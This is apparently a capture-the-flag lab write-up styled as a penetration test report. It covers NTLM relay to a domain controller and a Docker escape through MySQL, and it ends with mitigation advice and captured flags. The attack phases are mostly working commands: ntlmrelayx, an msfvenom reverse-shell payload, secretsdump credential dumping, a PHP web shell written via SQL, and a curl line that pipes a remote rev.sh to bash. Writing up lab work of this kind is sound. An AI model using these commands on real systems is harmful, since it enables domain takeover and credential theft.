Name : Ahmed essam shawer

NTLM Relay & Docker Escape

1. Executive Summary

This report documents a successful penetration test involving NTLM Relay attacks against a Windows domain environment and a Docker container escape via MySQL exploitation. The attack chain led to domain compromise and container breakout, demonstrating critical security vulnerabilities in both Active Directory and containerized environments.

2. Attack Phases & Methodology

Phase 1: NTLM Relay Attack

Objective: Gain Domain Administrator access by relaying SMB authentication to a Domain Controller (DC).

- Steps Performed:
- - Scanned network for SMB signing misconfigurations:
  ```
  nmap -p 445 --script smb2-security-mode 10.200.95.30
  ```
- - Identified DC-SRV01 with SMB signing disabled.
- - Disabled SMB in Responder and started poisoning:
  ```
  sudo sed -i 's/SMB = On/SMB = Off/' /etc/responder/Responder.conf
  ```
- - Started NTLMRelayX:
  ```
  ntlmrelayx.py -t smb://10.200.95.30 -smb2support -socks
  ```
- - Stopped NetLogon and SMB services:
  ```
  sc stop netlogon
  sc config lanmanserver start= disabled
  sc stop lanmanworkstation
  shutdown /r /t 0
  ```
- - Used Metasploit for reverse shell:
  ```
  msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=1337 -f exe > shell.exe
  ```
- - Forwarded SMB:
  ```
  portfwd add -R -L 0.0.0.0 -l 445 -p 445
  ```
- - Dumped domain hashes:
  ```
  secretsdump.py 'HOLOLIVE/MyNewUser:Password123!@10.200.95.30'
  ```

Tool

Tool	Purpose	Command Example
Nmap	Scan for SMB signing misconfigurations	`nmap -p 445 --script smb2-security-mode 10.200.95.30`
Responder	Poison LLMNR/NBT-NS and capture hashes (optional)	`sudo python Responder.py -I eth0`
Impacket's NTLMRelayX	Relay SMB auth to target DC	`ntlmrelayx.py -t smb://10.200.95.30 -smb2support -socks`
Metasploit	Create payload + port forwarding	`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=1337 -f exe >`

Phase 2: Docker Breakout via MySQL Exploitation

Objective: Escape a restricted Docker container by exploiting MySQL privileges.

- Steps Performed:
- - Verified admin privileges:
  SHOW GRANTS FOR admin;
- - Uploaded PHP shell via SQL:
  SELECT '<?php system($_GET["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php';
- - Triggered RCE using curl:
  curl http://192.168.100.1:8080/shell.php?cmd=whoami
- - Executed reverse shell:
  curl

```
'http://192.168.100.1:8080/shell.php?cmd=curl%20http://10.50.104.206:8000/rev.sh%7Cbash%20%26'
```

3. Findings & Impact

- Critical Vulnerabilities Exploited:
- SMB Signing Disabled - Allows NTLM relay attacks - DC-SRV01
- Excessive MySQL Privileges (FILE) - Arbitrary file write → RCE - Docker Container
- Weak Service Configurations - SMB/Netlogon disruption enabled relay - PC-FILESRV01
- Impact Assessment:
- Full Domain Compromise - Extracted all domain credentials
- Container Escape - Gained host-level access
- Persistence - Created backdoor users with admin privileges

4. Recommendations

- Mitigation for NTLM Relay:
- Enable SMB Signing: Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
- Disable NTLM where possible; enforce Kerberos.
- Restrict NetLogon & SMB Services access.
- Mitigation for Docker Breakout:
- Remove FILE privilege from MySQL users.
- Use --read-only flag for containers.
- Implement WAFs to block PHP uploads.
- Audit containers with tools like DEEPCE.

5. Conclusion

This engagement demonstrated how misconfigured authentication protocols and excessive database privileges can lead to full system compromise. The attack chain highlights the importance of strict access controls in Active Directory, container hardening, and continuous monitoring for SMB/NTLM anomalies.

- Final Flags Captured:
- Domain Admin: HOLO{29d166d973477c6d8b00ae1649ce3a44}
- Docker Container: HOLO{3792d7d80c4dcabb8a533afddf06f666}